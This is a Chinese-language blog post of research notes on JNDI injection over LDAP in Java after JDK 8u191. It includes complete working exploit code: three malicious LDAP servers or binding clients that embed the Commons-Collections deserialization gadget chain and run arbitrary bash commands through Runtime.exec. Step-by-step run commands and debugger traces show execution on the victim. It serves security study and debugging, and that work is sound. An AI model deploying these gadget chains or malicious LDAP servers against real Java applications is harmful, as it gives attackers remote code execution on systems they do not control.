Skip to content

标题: 8u191之后的JNDI注入(LDAP)

创建: 2020-05-01 19:56 更新: 链接: https://scz.617.cn/network/202005011956.txt


目录:

☆ 前言
☆ 简版LDAP Server
☆ 8u191之后的JNDI注入(LDAP)
    0) VulnerableClient.java
    1) EvilLDAPServer.java
    2) EvilServer5.java
        2.0) 测试
        2.1) 调试ctx.rebind()
            2.1.1) 简化版调用关系
            2.1.2) 相关源码
        2.2) 调试ctx.lookup()
            2.2.1) 简化版调用关系
    3) EvilServer6.java
☆ 参考资源

☆ 前言

本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简 单点说,利用"javaSerializedData"属性,参[44]。

KINGX的方案是自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。 我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用 标准LDAP服务,无需直接操作"javaSerializedData"属性,估计之前没人这么干过。 我一看就是那种正经程序员,而KINGX一看就是坏人,更可鄙视的是,这种坏人往往 自称白帽子。

本篇内容已全部补充到下文中:

《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt

☆ 简版LDAP Server

Simple all-in-one LDAP server (wrapped ApacheDS) https://github.com/kwart/ldap-server

$ vi jndi.ldif


dn: o=anything,dc=evil,dc=com objectclass: top objectclass: organization o: anything


这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。

$ java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

☆ 8u191之后的JNDI注入(LDAP)

参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在 ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。 此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要 求。

参[74],后面的PoC用到了如下库:

unboundid-ldapsdk-3.1.1.jar commons-collections-3.1.jar

0) VulnerableClient.java


/ * javac -encoding GBK -g VulnerableClient.java / import javax.naming.*;

public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } }


这是受漏洞影响的JNDI客户端。

1) EvilLDAPServer.java

参[45],这就是:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。


/ * javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java / import java.io.; import java.util.; import java.lang.reflect.; import java.net.; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;

public class EvilLDAPServer { / * ysoserial/CommonsCollections7 / @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }

/*
 * com.sun.jndi.ldap.Obj.serializeObject
 */
private static byte[] serializeObject ( Object obj ) throws Exception
{
    ByteArrayOutputStream   bos = new ByteArrayOutputStream();
    ObjectOutputStream      oos = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    return bos.toByteArray();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor
{
    String  cmd;

    public OperationInterceptor ( String cmd )
    {
        this.cmd    = cmd;
    }

    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result )
    {
        String  base    = result.getRequest().getBaseDN();
        Entry   e       = new Entry( base );
        try
        {
            sendResult( result, base, e );
        }
        catch ( Exception ex )
        {
            ex.printStackTrace();
        }
    }

    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception
    {
        e.addAttribute( "javaClassName", "foo" );
        e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) );
        result.sendSearchEntry( e );
        result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) );
    }
}

private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception
{
    InMemoryDirectoryServerConfig   conf    = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" );
    conf.setListenerConfigs
    (
        new InMemoryListenerConfig
        (
            "listen",
            InetAddress.getByName( addr ),
            Integer.valueOf( port ),
            ServerSocketFactory.getDefault(),
            SocketFactory.getDefault(),
            ( SSLSocketFactory )SSLSocketFactory.getDefault()
        )
    );
    conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) );
    InMemoryDirectoryServer         ds      = new InMemoryDirectoryServer( conf );
    ds.startListening();
}

public static void main ( String[] argv ) throws Exception
{
    String  addr    = argv[0];
    int     port    = Integer.parseInt( argv[1] );
    String  cmd     = argv[2];
    MiniLDAPServer( addr, port, cmd );
}

}

假设目录结构是:

. | +---test1 | EvilLDAPServer.class | EvilLDAPServer$OperationInterceptor.class | unboundid-ldapsdk-3.1.1.jar | commons-collections-3.1.jar | ---test2 VulnerableClient.class commons-collections-3.1.jar

在test1目录执行:

java \ -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:." \ EvilLDAPServer 192.168.65.23 10388 "/bin/touch /tmp/scz_is_here"

在test2目录执行:

java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \ VulnerableClient any

2) EvilServer5.java

EvilLDAPServer自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。 实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后 的原理跟EvilLDAPServer一样。


/ * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java / import java.io.; import java.util.; import java.lang.reflect.; import javax.naming.; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap;

public class EvilServer5 { / * ysoserial/CommonsCollections7 / @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }

public static void main ( String[] argv ) throws Exception
{
    String  name    = argv[0];
    String  cmd     = argv[1];
    Object  obj     = getObject( cmd );
    Context ctx     = new InitialContext();
    ctx.rebind( name, obj );
    System.in.read();
}

}

用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于 "javaSerializedData"属性中,lookup()则对"javaSerializedData"属性的值进行 反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现 "javaSerializedData"属性,不需要奇技淫巧。

即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指 定"javaSerializedData"属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject() 中用rebind()第二形参的序列化数据覆盖之。

不过,神奇的是,我碰上过这个错误提示:

More than one value has been provided for the single-valued attribute: javaSerializedData

动态调试发现有两个"javaSerializedData"属性出现,分别对应rebind()第二、三形 参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到 EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错 的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。

2.0) 测试

假设目录结构是:

. | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer5.class | commons-collections-3.1.jar | ---test2 VulnerableClient.class commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here"

在test2目录执行:

java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any

2.1) 调试ctx.rebind()

调试EvilServer5:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here"

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.sun.jndi.ldap.Obj.encodeObject stop at com.sun.jndi.ldap.Obj:173

[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271 [2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181 [3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45 [4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39 [5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5 [6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62 [7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29 [8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10 [9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7 [10] EvilServer5.main (EvilServer5.java:92), pc = 26

2.1.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java


InitialContext.rebind // 8u232 LdapCtx.c_rebind LdapCtx.c_rebind // LdapCtx:464 LdapCtx.c_bind // LdapCtx:500 Obj.determineBindAttrs // LdapCtx:411 Obj.encodeObject // Obj:597 // convert the supplied object into LDAP attributes attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj))) // Obj:173 // 设置"javaSerializedData"属性 attrs = addRdnAttributes(...) // LdapCtx:416 answer = clnt.add(entry, reqCtls) // LdapCtx:419 // com.sun.jndi.ldap.LdapClient.add()


如果ctx.rebind()碰上如下错误提示:

a) More than one value has been provided for the single-valued attribute: javaSerializedData b) can only bind Referenceable, Serializable, DirContext

动态调试这个函数:

com.sun.jndi.ldap.Obj.encodeObject()

2.1.2) 相关源码

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java


/ * com.sun.jndi.ldap.Obj.encodeObject / / * Encode an object in LDAP attributes. * Supports binding Referenceable or Reference, Serializable, * and DirContext. * * If the object supports the Referenceable interface then encode * the reference to the object. See encodeReference() for details.

* If the object is serializable, it is stored as follows: * javaClassName * value: Object.getClass(); * javaSerializedData * value: serialized form of Object (in binary form). * javaTypeName * value: getTypeNames(Object.getClass()); / private static Attributes encodeObject(char separator, Object obj, Attributes attrs, Attribute objectClass, boolean cloned) throws NamingException { boolean structural = (objectClass.size() == 0 || (objectClass.size() == 1 && objectClass.contains("top")));

    if (structural) {
        objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]);
    }

// References if (obj instanceof Referenceable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, ((Referenceable)obj).getReference(), attrs, obj));

    } else if (obj instanceof Reference) {
        objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
        objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);
        if (!cloned) {
            attrs = (Attributes)attrs.clone();
        }
        attrs.put(objectClass);
        return (encodeReference(separator, (Reference)obj, attrs, null));

// Serializable Object } else if (obj instanceof java.io.Serializable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) || objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) { objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]); } if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); / * 173行,设置"javaSerializedData"属性 / attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA], serializeObject(obj))); if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) { attrs.put(JAVA_ATTRIBUTES[CLASSNAME], obj.getClass().getName()); } if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) { Attribute tAttr = LdapCtxFactory.createTypeNameAttr(obj.getClass()); if (tAttr != null) { attrs.put(tAttr); } } // DirContext Object } else if (obj instanceof DirContext) { // do nothing } else { / * 190行 / throw new IllegalArgumentException( "can only bind Referenceable, Serializable, DirContext"); } // System.err.println(attrs); return attrs; }


2.2) 调试ctx.lookup()

调试VulnerableClient:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38 [23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52 [24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164 [25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81 [26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26 [27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9 [28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [29] VulnerableClient.main (VulnerableClient.java:12), pc = 14

2.2.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java


InitialContext.lookup // 8u232 LdapCtx.c_lookup LdapResult answer = doSearchOnce() // LdapCtx:1027 // 向LDAP Server查询 attrs = entry.attributes // LdapCtx:1047 // 取entry的所有属性 if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) // LdapCtx:1049 // 检查entry的"javaClassName"属性 // 本例中是"java.util.Hashtable" Obj.decodeObject // LdapCtx:1051 attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA]) // Obj:237 // 取"javaSerializedData"属性 Obj.deserializeObject // Obj:239 // 对byte[]进行反序列化 ObjectInputStream.readObject // Obj:531 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec


这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控 数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。

3) EvilServer6.java

参[39],Alvaro Munoz在议题中给了点代码片断:


System.out.println("Poisoning LDAP user"); BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL)); BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload")); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes)); ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);


他调用的是:

javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])

我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心 很重,基于他这个片断写了EvilServer6.java。


/ * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java / import java.io.; import java.util.; import java.lang.reflect.; import javax.naming.directory.; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap;

public class EvilServer6 { / * ysoserial/CommonsCollections7 / @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }

/*
 * com.sun.jndi.ldap.Obj.serializeObject
 */
private static byte[] serializeObject ( Object obj ) throws Exception
{
    ByteArrayOutputStream   bos = new ByteArrayOutputStream();
    ObjectOutputStream      oos = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    return bos.toByteArray();
}

public static void main ( String[] argv ) throws Exception
{
    String              name    = argv[0];
    String              cmd     = argv[1];
    Object              obj     = getObject( cmd );
    String              sth     = "";
    Attribute           attr    = new BasicAttribute( "javaSerializedData", serializeObject( obj ) );
    ModificationItem[]  mods    = new ModificationItem[1];

    mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr );

    DirContext          ctx     = new InitialDirContext();
    /*
     * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190)
     *
     * can only bind Referenceable, Serializable, DirContext
     */
    ctx.rebind( name, sth, null );
    ctx.modifyAttributes( name, mods );
    System.in.read();
}

}

EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。

假设目录结构是:

. | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer6.class | commons-collections-3.1.jar | ---test2 VulnerableClient.class commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer6 cn=any "/bin/touch /tmp/scz_is_here"

在test2目录执行:

java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any

☆ 参考资源

[39] A Journey From JNDI LDAP Manipulation To RCE - Alvaro Munoz, Oleksandr Mirosh [2016-08-02] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[44] LDAP Directories https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html (提到javaSerializedData)

[45] 如何绕过高版本JDK的限制进行JNDI注入利用 - KINGX [2019-06-03] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

[74] https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/ https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar